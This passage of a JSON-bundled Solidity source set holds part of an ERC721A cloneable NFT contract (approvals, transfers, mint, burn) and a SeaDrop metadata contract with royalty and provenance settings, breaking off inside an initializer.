bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // `owner | (block.timestamp << _BITPOS_START_TIMESTAMP) | flags`.\n result := or(\n owner,\n or(shl(_BITPOS_START_TIMESTAMP, timestamp()), flags)\n )\n }\n }\n\n /**\n * @dev Returns the `nextInitialized` flag set if `quantity` equals 1.\n */\n function _nextInitializedFlag(uint256 quantity)\n private\n pure\n returns (uint256 result)\n {\n // For branchless setting of the `nextInitialized` flag.\n assembly {\n // `(quantity == 1) << _BITPOS_NEXT_INITIALIZED`.\n result := shl(_BITPOS_NEXT_INITIALIZED, eq(quantity, 1))\n }\n }\n\n // =============================================================\n // APPROVAL OPERATIONS\n // =============================================================\n\n /**\n * @dev Gives permission to `to` to transfer `tokenId` token to another account.\n * The approval is cleared when the token is transferred.\n *\n * Only a single account can be approved at a time, so approving the\n * zero address clears previous approvals.\n *\n * Requirements:\n *\n * - The caller must own the token or be an approved operator.\n * - `tokenId` must exist.\n *\n * Emits an {Approval} event.\n */\n function approve(address to, uint256 tokenId) public virtual override {\n address owner = ownerOf(tokenId);\n\n if (_msgSenderERC721A() != owner) {\n if (!isApprovedForAll(owner, _msgSenderERC721A())) {\n revert ApprovalCallerNotOwnerNorApproved();\n }\n }\n\n _tokenApprovals[tokenId].value = to;\n emit Approval(owner, to, tokenId);\n }\n\n /**\n * @dev Returns the account approved for `tokenId` token.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n */\n function getApproved(uint256 tokenId)\n public\n view\n virtual\n override\n returns (address)\n {\n if (!_exists(tokenId)) revert ApprovalQueryForNonexistentToken();\n\n return _tokenApprovals[tokenId].value;\n }\n\n /**\n * @dev Approve or remove `operator` as an operator for the caller.\n * Operators can call {transferFrom} or {safeTransferFrom}\n * for any token owned by the caller.\n *\n * Requirements:\n *\n * - The `operator` cannot be the caller.\n *\n * Emits an {ApprovalForAll} event.\n */\n function setApprovalForAll(address operator, bool approved)\n public\n virtual\n override\n {\n _operatorApprovals[_msgSenderERC721A()][operator] = approved;\n emit ApprovalForAll(_msgSenderERC721A(), operator, approved);\n }\n\n /**\n * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.\n *\n * See {setApprovalForAll}.\n */\n function isApprovedForAll(address owner, address operator)\n public\n view\n virtual\n override\n returns (bool)\n {\n return _operatorApprovals[owner][operator];\n }\n\n /**\n * @dev Returns whether `tokenId` exists.\n *\n * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.\n *\n * Tokens start existing when they are minted. See {_mint}.\n */\n function _exists(uint256 tokenId) internal view virtual returns (bool) {\n return\n _startTokenId() <= tokenId &&\n tokenId < _currentIndex && // If within bounds,\n _packedOwnerships[tokenId] & _BITMASK_BURNED == 0; // and not burned.\n }\n\n /**\n * @dev Returns whether `msgSender` is equal to `approvedAddress` or `owner`.\n */\n function _isSenderApprovedOrOwner(\n address approvedAddress,\n address owner,\n address msgSender\n ) private pure returns (bool result) {\n assembly {\n // Mask `owner` to the lower 160 bits, in case the upper bits somehow aren't clean.\n owner := and(owner, _BITMASK_ADDRESS)\n // Mask `msgSender` to the lower 160 bits, in case the upper bits somehow aren't clean.\n msgSender := and(msgSender, _BITMASK_ADDRESS)\n // `msgSender == owner || msgSender == approvedAddress`.\n result := or(eq(msgSender, owner), eq(msgSender, approvedAddress))\n }\n }\n\n /**\n * @dev Returns the storage slot and value for the approved address of `tokenId`.\n */\n function _getApprovedSlotAndAddress(uint256 tokenId)\n private\n view\n returns (uint256 approvedAddressSlot, address approvedAddress)\n {\n TokenApprovalRef storage tokenApproval = _tokenApprovals[tokenId];\n // The following is equivalent to `approvedAddress = _tokenApprovals[tokenId].value`.\n assembly {\n approvedAddressSlot := tokenApproval.slot\n approvedAddress := sload(approvedAddressSlot)\n }\n }\n\n // =============================================================\n // TRANSFER OPERATIONS\n // =============================================================\n\n /**\n * @dev Transfers `tokenId` from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n *\n * Emits a {Transfer} event.\n */\n function transferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n if (address(uint160(prevOwnershipPacked)) != from)\n revert TransferFromIncorrectOwner();\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n\n if (to == address(0)) revert TransferToZeroAddress();\n\n _beforeTokenTransfers(from, to, tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // We can directly increment and decrement the balances.\n --_packedAddressData[from]; // Updates: `balance -= 1`.\n ++_packedAddressData[to]; // Updates: `balance += 1`.\n\n // Updates:\n // - `address` to the next owner.\n // - `startTimestamp` to the timestamp of transfering.\n // - `burned` to `false`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n to,\n _BITMASK_NEXT_INITIALIZED |\n _nextExtraData(from, to, prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, to, tokenId);\n _afterTokenTransfers(from, to, tokenId, 1);\n }\n\n /**\n * @dev Equivalent to `safeTransferFrom(from, to, tokenId, '')`.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId\n ) public virtual override {\n safeTransferFrom(from, to, tokenId, \"\");\n }\n\n /**\n * @dev Safely transfers `tokenId` token from `from` to `to`.\n *\n * Requirements:\n *\n * - `from` cannot be the zero address.\n * - `to` cannot be the zero address.\n * - `tokenId` token must exist and be owned by `from`.\n * - If the caller is not `from`, it must be approved to move this token\n * by either {approve} or {setApprovalForAll}.\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.\n *\n * Emits a {Transfer} event.\n */\n function safeTransferFrom(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) public virtual override {\n transferFrom(from, to, tokenId);\n if (to.code.length != 0) {\n if (!_checkContractOnERC721Received(from, to, tokenId, _data)) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n }\n }\n\n /**\n * @dev Hook that is called before a set of serially-ordered token IDs\n * are about to be transferred. This includes minting.\n * And also called before burning one token.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _beforeTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after a set of serially-ordered token IDs\n * have been transferred. This includes minting.\n * And also called after one token has been burned.\n *\n * `startTokenId` - the first token ID to be transferred.\n * `quantity` - the amount to be transferred.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` has been\n * transferred to `to`.\n * - When `from` is zero, `tokenId` has been minted for `to`.\n * - When `to` is zero, `tokenId` has been burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _afterTokenTransfers(\n address from,\n address to,\n uint256 startTokenId,\n uint256 quantity\n ) internal virtual {}\n\n /**\n * @dev Private function to invoke {IERC721Receiver-onERC721Received} on a target contract.\n *\n * `from` - Previous owner of the given token ID.\n * `to` - Target address that will receive the token.\n * `tokenId` - Token ID to be transferred.\n * `_data` - Optional data to send along with the call.\n *\n * Returns whether the call correctly returned the expected magic value.\n */\n function _checkContractOnERC721Received(\n address from,\n address to,\n uint256 tokenId,\n bytes memory _data\n ) private returns (bool) {\n try\n ERC721A__IERC721Receiver(to).onERC721Received(\n _msgSenderERC721A(),\n from,\n tokenId,\n _data\n )\n returns (bytes4 retval) {\n return\n retval ==\n ERC721A__IERC721Receiver(to).onERC721Received.selector;\n } catch (bytes memory reason) {\n if (reason.length == 0) {\n revert TransferToNonERC721ReceiverImplementer();\n } else {\n assembly {\n revert(add(32, reason), mload(reason))\n }\n }\n }\n }\n\n // =============================================================\n // MINT OPERATIONS\n // =============================================================\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _mint(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (quantity == 0) revert MintZeroQuantity();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are incredibly unrealistic.\n // `balance` and `numberMinted` have a maximum limit of 2**64.\n // `tokenId` has a maximum limit of 2**256.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n uint256 toMasked;\n uint256 end = startTokenId + quantity;\n\n // Use assembly to loop and emit the `Transfer` event for gas savings.\n // The duplicated `log4` removes an extra check and reduces stack juggling.\n // The assembly, together with the surrounding Solidity code, have been\n // delicately arranged to nudge the compiler into producing optimized opcodes.\n assembly {\n // Mask `to` to the lower 160 bits, in case the upper bits somehow aren't clean.\n toMasked := and(to, _BITMASK_ADDRESS)\n // Emit the `Transfer` event.\n log4(\n 0, // Start of data (0, since no data).\n 0, // End of data (0, since no data).\n _TRANSFER_EVENT_SIGNATURE, // Signature.\n 0, // `address(0)`.\n toMasked, // `to`.\n startTokenId // `tokenId`.\n )\n\n // The `iszero(eq(,))` check ensures that large values of `quantity`\n // that overflows uint256 will make the loop run out of gas.\n // The compiler will optimize the `iszero` away for performance.\n for {\n let tokenId := add(startTokenId, 1)\n } iszero(eq(tokenId, end)) {\n tokenId := add(tokenId, 1)\n } {\n // Emit the `Transfer` event. Similar to above.\n log4(0, 0, _TRANSFER_EVENT_SIGNATURE, 0, toMasked, tokenId)\n }\n }\n if (toMasked == 0) revert MintToZeroAddress();\n\n _currentIndex = end;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Mints `quantity` tokens and transfers them to `to`.\n *\n * This function is intended for efficient minting only during contract creation.\n *\n * It emits only one {ConsecutiveTransfer} as defined in\n * [ERC2309](https://eips.ethereum.org/EIPS/eip-2309),\n * instead of a sequence of {Transfer} event(s).\n *\n * Calling this function outside of contract creation WILL make your contract\n * non-compliant with the ERC721 standard.\n * For full ERC721 compliance, substituting ERC721 {Transfer} event(s) with the ERC2309\n * {ConsecutiveTransfer} event is only permissible during contract creation.\n *\n * Requirements:\n *\n * - `to` cannot be the zero address.\n * - `quantity` must be greater than 0.\n *\n * Emits a {ConsecutiveTransfer} event.\n */\n function _mintERC2309(address to, uint256 quantity) internal virtual {\n uint256 startTokenId = _currentIndex;\n if (to == address(0)) revert MintToZeroAddress();\n if (quantity == 0) revert MintZeroQuantity();\n if (quantity > _MAX_MINT_ERC2309_QUANTITY_LIMIT)\n revert MintERC2309QuantityExceedsLimit();\n\n _beforeTokenTransfers(address(0), to, startTokenId, quantity);\n\n // Overflows are unrealistic due to the above check for `quantity` to be below the limit.\n unchecked {\n // Updates:\n // - `balance += quantity`.\n // - `numberMinted += quantity`.\n //\n // We can directly add to the `balance` and `numberMinted`.\n _packedAddressData[to] +=\n quantity *\n ((1 << _BITPOS_NUMBER_MINTED) | 1);\n\n // Updates:\n // - `address` to the owner.\n // - `startTimestamp` to the timestamp of minting.\n // - `burned` to `false`.\n // - `nextInitialized` to `quantity == 1`.\n _packedOwnerships[startTokenId] = _packOwnershipData(\n to,\n _nextInitializedFlag(quantity) |\n _nextExtraData(address(0), to, 0)\n );\n\n emit ConsecutiveTransfer(\n startTokenId,\n startTokenId + quantity - 1,\n address(0),\n to\n );\n\n _currentIndex = startTokenId + quantity;\n }\n _afterTokenTransfers(address(0), to, startTokenId, quantity);\n }\n\n /**\n * @dev Safely mints `quantity` tokens and transfers them to `to`.\n *\n * Requirements:\n *\n * - If `to` refers to a smart contract, it must implement\n * {IERC721Receiver-onERC721Received}, which is called for each safe transfer.\n * - `quantity` must be greater than 0.\n *\n * See {_mint}.\n *\n * Emits a {Transfer} event for each mint.\n */\n function _safeMint(\n address to,\n uint256 quantity,\n bytes memory _data\n ) internal virtual {\n _mint(to, quantity);\n\n unchecked {\n if (to.code.length != 0) {\n uint256 end = _currentIndex;\n uint256 index = end - quantity;\n do {\n if (\n !_checkContractOnERC721Received(\n address(0),\n to,\n index++,\n _data\n )\n ) {\n revert TransferToNonERC721ReceiverImplementer();\n }\n } while (index < end);\n // Reentrancy protection.\n if (_currentIndex != end) revert();\n }\n }\n }\n\n /**\n * @dev Equivalent to `_safeMint(to, quantity, '')`.\n */\n function _safeMint(address to, uint256 quantity) internal virtual {\n _safeMint(to, quantity, \"\");\n }\n\n // =============================================================\n // BURN OPERATIONS\n // =============================================================\n\n /**\n * @dev Equivalent to `_burn(tokenId, false)`.\n */\n function _burn(uint256 tokenId) internal virtual {\n _burn(tokenId, false);\n }\n\n /**\n * @dev Destroys `tokenId`.\n * The approval is cleared when the token is burned.\n *\n * Requirements:\n *\n * - `tokenId` must exist.\n *\n * Emits a {Transfer} event.\n */\n function _burn(uint256 tokenId, bool approvalCheck) internal virtual {\n uint256 prevOwnershipPacked = _packedOwnershipOf(tokenId);\n\n address from = address(uint160(prevOwnershipPacked));\n\n (\n uint256 approvedAddressSlot,\n address approvedAddress\n ) = _getApprovedSlotAndAddress(tokenId);\n\n if (approvalCheck) {\n // The nested ifs save around 20+ gas over a compound boolean condition.\n if (\n !_isSenderApprovedOrOwner(\n approvedAddress,\n from,\n _msgSenderERC721A()\n )\n ) {\n if (!isApprovedForAll(from, _msgSenderERC721A()))\n revert TransferCallerNotOwnerNorApproved();\n }\n }\n\n _beforeTokenTransfers(from, address(0), tokenId, 1);\n\n // Clear approvals from the previous owner.\n assembly {\n if approvedAddress {\n // This is equivalent to `delete _tokenApprovals[tokenId]`.\n sstore(approvedAddressSlot, 0)\n }\n }\n\n // Underflow of the sender's balance is impossible because we check for\n // ownership above and the recipient's balance can't realistically overflow.\n // Counter overflow is incredibly unrealistic as `tokenId` would have to be 2**256.\n unchecked {\n // Updates:\n // - `balance -= 1`.\n // - `numberBurned += 1`.\n //\n // We can directly decrement the balance, and increment the number burned.\n // This is equivalent to `packed -= 1; packed += 1 << _BITPOS_NUMBER_BURNED;`.\n _packedAddressData[from] += (1 << _BITPOS_NUMBER_BURNED) - 1;\n\n // Updates:\n // - `address` to the last owner.\n // - `startTimestamp` to the timestamp of burning.\n // - `burned` to `true`.\n // - `nextInitialized` to `true`.\n _packedOwnerships[tokenId] = _packOwnershipData(\n from,\n (_BITMASK_BURNED | _BITMASK_NEXT_INITIALIZED) |\n _nextExtraData(from, address(0), prevOwnershipPacked)\n );\n\n // If the next slot may not have been initialized (i.e. `nextInitialized == false`) .\n if (prevOwnershipPacked & _BITMASK_NEXT_INITIALIZED == 0) {\n uint256 nextTokenId = tokenId + 1;\n // If the next slot's address is zero and not burned (i.e. packed value is zero).\n if (_packedOwnerships[nextTokenId] == 0) {\n // If the next slot is within bounds.\n if (nextTokenId != _currentIndex) {\n // Initialize the next slot to maintain correctness for `ownerOf(tokenId + 1)`.\n _packedOwnerships[nextTokenId] = prevOwnershipPacked;\n }\n }\n }\n }\n\n emit Transfer(from, address(0), tokenId);\n _afterTokenTransfers(from, address(0), tokenId, 1);\n\n // Overflow not possible, as _burnCounter cannot be exceed _currentIndex times.\n unchecked {\n _burnCounter++;\n }\n }\n\n // =============================================================\n // EXTRA DATA OPERATIONS\n // =============================================================\n\n /**\n * @dev Directly sets the extra data for the ownership data `index`.\n */\n function _setExtraDataAt(uint256 index, uint24 extraData) internal virtual {\n uint256 packed = _packedOwnerships[index];\n if (packed == 0) revert OwnershipNotInitializedForExtraData();\n uint256 extraDataCasted;\n // Cast `extraData` with assembly to avoid redundant masking.\n assembly {\n extraDataCasted := extraData\n }\n packed =\n (packed & _BITMASK_EXTRA_DATA_COMPLEMENT) |\n (extraDataCasted << _BITPOS_EXTRA_DATA);\n _packedOwnerships[index] = packed;\n }\n\n /**\n * @dev Called during each token transfer to set the 24bit `extraData` field.\n * Intended to be overridden by the cosumer contract.\n *\n * `previousExtraData` - the value of `extraData` before transfer.\n *\n * Calling conditions:\n *\n * - When `from` and `to` are both non-zero, `from`'s `tokenId` will be\n * transferred to `to`.\n * - When `from` is zero, `tokenId` will be minted for `to`.\n * - When `to` is zero, `tokenId` will be burned by `from`.\n * - `from` and `to` are never both zero.\n */\n function _extraData(\n address from,\n address to,\n uint24 previousExtraData\n ) internal view virtual returns (uint24) {}\n\n /**\n * @dev Returns the next extra data for the packed ownership data.\n * The returned result is shifted into position.\n */\n function _nextExtraData(\n address from,\n address to,\n uint256 prevOwnershipPacked\n ) private view returns (uint256) {\n uint24 extraData = uint24(prevOwnershipPacked >> _BITPOS_EXTRA_DATA);\n return uint256(_extraData(from, to, extraData)) << _BITPOS_EXTRA_DATA;\n }\n\n // =============================================================\n // OTHER OPERATIONS\n // =============================================================\n\n /**\n * @dev Returns the message sender (defaults to `msg.sender`).\n *\n * If you are writing GSN compatible contracts, you need to override this function.\n */\n function _msgSenderERC721A() internal view virtual returns (address) {\n return msg.sender;\n }\n\n /**\n * @dev Converts a uint256 to its ASCII string decimal representation.\n */\n function _toString(uint256 value)\n internal\n pure\n virtual\n returns (string memory str)\n {\n assembly {\n // The maximum value of a uint256 contains 78 digits (1 byte per digit), but\n // we allocate 0xa0 bytes to keep the free memory pointer 32-byte word aligned.\n // We will need 1 word for the trailing zeros padding, 1 word for the length,\n // and 3 words for a maximum of 78 digits. Total: 5 * 0x20 = 0xa0.\n let m := add(mload(0x40), 0xa0)\n // Update the free memory pointer to allocate.\n mstore(0x40, m)\n // Assign the `str` to the end.\n str := sub(m, 0x20)\n // Zeroize the slot after the string.\n mstore(str, 0)\n\n // Cache the end of the memory to calculate the length later.\n let end := str\n\n // We write the string from rightmost digit to leftmost digit.\n // The following is essentially a do-while loop that also handles the zero case.\n // prettier-ignore\n for { let temp := value } 1 {} {\n str := sub(str, 1)\n // Write the character to the pointer.\n // The ASCII index of the '0' character is 48.\n mstore8(str, add(48, mod(temp, 10)))\n // Keep dividing `temp` until zero.\n temp := div(temp, 10)\n // prettier-ignore\n if iszero(temp) { break }\n }\n\n let length := sub(end, str)\n // Move the pointer 32 bytes leftwards to make room for the length.\n str := sub(str, 0x20)\n // Store the length.\n mstore(str, length)\n }\n }\n}\n"
},
"src/clones/ERC721ContractMetadataCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ISeaDropTokenContractMetadata\n} from \"../interfaces/ISeaDropTokenContractMetadata.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport { TwoStepOwnable } from \"utility-contracts/TwoStepOwnable.sol\";\n\nimport { IERC2981 } from \"openzeppelin-contracts/interfaces/IERC2981.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\n/**\n * @title ERC721ContractMetadataCloneable\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721ContractMetadata is a token contract that extends ERC721A\n * with additional metadata and ownership capabilities.\n */\ncontract ERC721ContractMetadataCloneable is\n ERC721ACloneable,\n TwoStepOwnable,\n ISeaDropTokenContractMetadata\n{\n /// @notice Track the max supply.\n uint256 _maxSupply;\n\n /// @notice Track the base URI for token metadata.\n string _tokenBaseURI;\n\n /// @notice Track the contract URI for contract metadata.\n string _contractURI;\n\n /// @notice Track the provenance hash for guaranteeing metadata order\n /// for random reveals.\n bytes32 _provenanceHash;\n\n /// @notice Track the royalty info: address to receive royalties, and\n /// royalty basis points.\n RoyaltyInfo _royaltyInfo;\n\n /**\n * @dev Reverts if the sender is not the owner or the contract itself.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n */\n function _onlyOwnerOrSelf() internal view {\n if (\n _cast(msg.sender == owner()) | _cast(msg.sender == address(this)) ==\n 0\n ) {\n revert OnlyOwner();\n }\n }\n\n /**\n * @notice Sets the base URI for the token metadata and emits an event.\n *\n * @param newBaseURI The new base URI to set.\n */\n function setBaseURI(string calldata newBaseURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new base URI.\n _tokenBaseURI = newBaseURI;\n\n // Emit an event with the update.\n if (totalSupply() != 0) {\n emit BatchMetadataUpdate(1, _nextTokenId() - 1);\n }\n }\n\n /**\n * @notice Sets the contract URI for contract metadata.\n *\n * @param newContractURI The new contract URI.\n */\n function setContractURI(string calldata newContractURI) external override {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Set the new contract URI.\n _contractURI = newContractURI;\n\n // Emit an event with the update.\n emit ContractURIUpdated(newContractURI);\n }\n\n /**\n * @notice Emit an event notifying metadata updates for\n * a range of token ids, according to EIP-4906.\n *\n * @param fromTokenId The start token id.\n * @param toTokenId The end token id.\n */\n function emitBatchMetadataUpdate(uint256 fromTokenId, uint256 toTokenId)\n external\n {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Emit an event with the update.\n emit BatchMetadataUpdate(fromTokenId, toTokenId);\n }\n\n /**\n * @notice Sets the max token supply and emits an event.\n *\n * @param newMaxSupply The new max supply to set.\n */\n function setMaxSupply(uint256 newMaxSupply) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Ensure the max supply does not exceed the maximum value of uint64.\n if (newMaxSupply > 2**64 - 1) {\n revert CannotExceedMaxSupplyOfUint64(newMaxSupply);\n }\n\n // Set the new max supply.\n _maxSupply = newMaxSupply;\n\n // Emit an event with the update.\n emit MaxSupplyUpdated(newMaxSupply);\n }\n\n /**\n * @notice Sets the provenance hash and emits an event.\n *\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it has not been\n * modified after mint started.\n *\n * This function will revert after the first item has been minted.\n *\n * @param newProvenanceHash The new provenance hash to set.\n */\n function setProvenanceHash(bytes32 newProvenanceHash) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if any items have been minted.\n if (_totalMinted() > 0) {\n revert ProvenanceHashCannotBeSetAfterMintStarted();\n }\n\n // Keep track of the old provenance hash for emitting with the event.\n bytes32 oldProvenanceHash = _provenanceHash;\n\n // Set the new provenance hash.\n _provenanceHash = newProvenanceHash;\n\n // Emit an event with the update.\n emit ProvenanceHashUpdated(oldProvenanceHash, newProvenanceHash);\n }\n\n /**\n * @notice Sets the address and basis points for royalties.\n *\n * @param newInfo The struct to configure royalties.\n */\n function setRoyaltyInfo(RoyaltyInfo calldata newInfo) external {\n // Ensure the sender is only the owner or contract itself.\n _onlyOwnerOrSelf();\n\n // Revert if the new royalty address is the zero address.\n if (newInfo.royaltyAddress == address(0)) {\n revert RoyaltyAddressCannotBeZeroAddress();\n }\n\n // Revert if the new basis points is greater than 10_000.\n if (newInfo.royaltyBps > 10_000) {\n revert InvalidRoyaltyBasisPoints(newInfo.royaltyBps);\n }\n\n // Set the new royalty info.\n _royaltyInfo = newInfo;\n\n // Emit an event with the updated params.\n emit RoyaltyInfoUpdated(newInfo.royaltyAddress, newInfo.royaltyBps);\n }\n\n /**\n * @notice Returns the base URI for token metadata.\n */\n function baseURI() external view override returns (string memory) {\n return _baseURI();\n }\n\n /**\n * @notice Returns the base URI for the contract, which ERC721A uses\n * to return tokenURI.\n */\n function _baseURI() internal view virtual override returns (string memory) {\n return _tokenBaseURI;\n }\n\n /**\n * @notice Returns the contract URI for contract metadata.\n */\n function contractURI() external view override returns (string memory) {\n return _contractURI;\n }\n\n /**\n * @notice Returns the max token supply.\n */\n function maxSupply() public view returns (uint256) {\n return _maxSupply;\n }\n\n /**\n * @notice Returns the provenance hash.\n * The provenance hash is used for random reveals, which\n * is a hash of the ordered metadata to show it is unmodified\n * after mint has started.\n */\n function provenanceHash() external view override returns (bytes32) {\n return _provenanceHash;\n }\n\n /**\n * @notice Returns the address that receives royalties.\n */\n function royaltyAddress() external view returns (address) {\n return _royaltyInfo.royaltyAddress;\n }\n\n /**\n * @notice Returns the royalty basis points out of 10_000.\n */\n function royaltyBasisPoints() external view returns (uint256) {\n return _royaltyInfo.royaltyBps;\n }\n\n /**\n * @notice Called with the sale price to determine how much royalty\n * is owed and to whom.\n *\n * @ param _tokenId The NFT asset queried for royalty information.\n * @param _salePrice The sale price of the NFT asset specified by\n * _tokenId.\n *\n * @return receiver Address of who should be sent the royalty payment.\n * @return royaltyAmount The royalty payment amount for _salePrice.\n */\n function royaltyInfo(\n uint256,\n /* _tokenId */\n uint256 _salePrice\n ) external view returns (address receiver, uint256 royaltyAmount) {\n // Put the royalty info on the stack for more efficient access.\n RoyaltyInfo storage info = _royaltyInfo;\n\n // Set the royalty amount to the sale price times the royalty basis\n // points divided by 10_000.\n royaltyAmount = (_salePrice * info.royaltyBps) / 10_000;\n\n // Set the receiver of the royalty.\n receiver = info.royaltyAddress;\n }\n\n /**\n * @notice Returns whether the interface is supported.\n *\n * @param interfaceId The interface id to check against.\n */\n function supportsInterface(bytes4 interfaceId)\n public\n view\n virtual\n override(IERC165, ERC721ACloneable)\n returns (bool)\n {\n return\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == 0x49064906 || // ERC-4906\n super.supportsInterface(interfaceId);\n }\n\n /**\n * @dev Internal pure function to cast a `bool` value to a `uint256` value.\n *\n * @param b The `bool` value to cast.\n *\n * @return u The `uint256` value.\n */\n function _cast(bool b) internal pure returns (uint256 u) {\n assembly {\n u := b\n }\n }\n}\n"
},
"src/clones/ERC721SeaDropCloneable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity 0.8.17;\n\nimport {\n ERC721ContractMetadataCloneable,\n ISeaDropTokenContractMetadata\n} from \"./ERC721ContractMetadataCloneable.sol\";\n\nimport {\n INonFungibleSeaDropToken\n} from \"../interfaces/INonFungibleSeaDropToken.sol\";\n\nimport { ISeaDrop } from \"../interfaces/ISeaDrop.sol\";\n\nimport {\n AllowListData,\n PublicDrop,\n TokenGatedDropStage,\n SignedMintValidationParams\n} from \"../lib/SeaDropStructs.sol\";\n\nimport {\n ERC721SeaDropStructsErrorsAndEvents\n} from \"../lib/ERC721SeaDropStructsErrorsAndEvents.sol\";\n\nimport { ERC721ACloneable } from \"./ERC721ACloneable.sol\";\n\nimport {\n ReentrancyGuardUpgradeable\n} from \"openzeppelin-contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol\";\n\nimport {\n IERC165\n} from \"openzeppelin-contracts/utils/introspection/IERC165.sol\";\n\nimport {\n DefaultOperatorFiltererUpgradeable\n} from \"operator-filter-registry/upgradeable/DefaultOperatorFiltererUpgradeable.sol\";\n\n/**\n * @title ERC721SeaDrop\n * @author James Wenzel (emo.eth)\n * @author Ryan Ghods (ralxz.eth)\n * @author Stephan Min (stephanm.eth)\n * @notice ERC721SeaDrop is a token contract that contains methods\n * to properly interact with SeaDrop.\n */\ncontract ERC721SeaDropCloneable is\n ERC721ContractMetadataCloneable,\n INonFungibleSeaDropToken,\n ERC721SeaDropStructsErrorsAndEvents,\n ReentrancyGuardUpgradeable,\n DefaultOperatorFiltererUpgradeable\n{\n /// @notice Track the allowed SeaDrop addresses.\n mapping(address => bool) internal _allowedSeaDrop;\n\n /// @notice Track the enumerated allowed SeaDrop addresses.\n address[] internal _enumeratedAllowedSeaDrop;\n\n /**\n * @dev Reverts if not an allowed SeaDrop contract.\n * This function is inlined instead of being a modifier\n * to save contract space from being inlined N times.\n *\n * @param seaDrop The SeaDrop address to check if allowed.\n */\n function _onlyAllowedSeaDrop(address seaDrop) internal view {\n if (_allowedSeaDrop[seaDrop] != true) {\n revert OnlyAllowedSeaDrop();\n }\n }\n\n /**\n * @notice Deploy the token contract with its name, symbol,\n * and allowed SeaDrop addresses.\n */\n function initialize(\n string calldata __name,\n string calldata __symbol,\n address[] calldata allowedSeaDrop,\n address initialOwner\n ) public initializer {\n 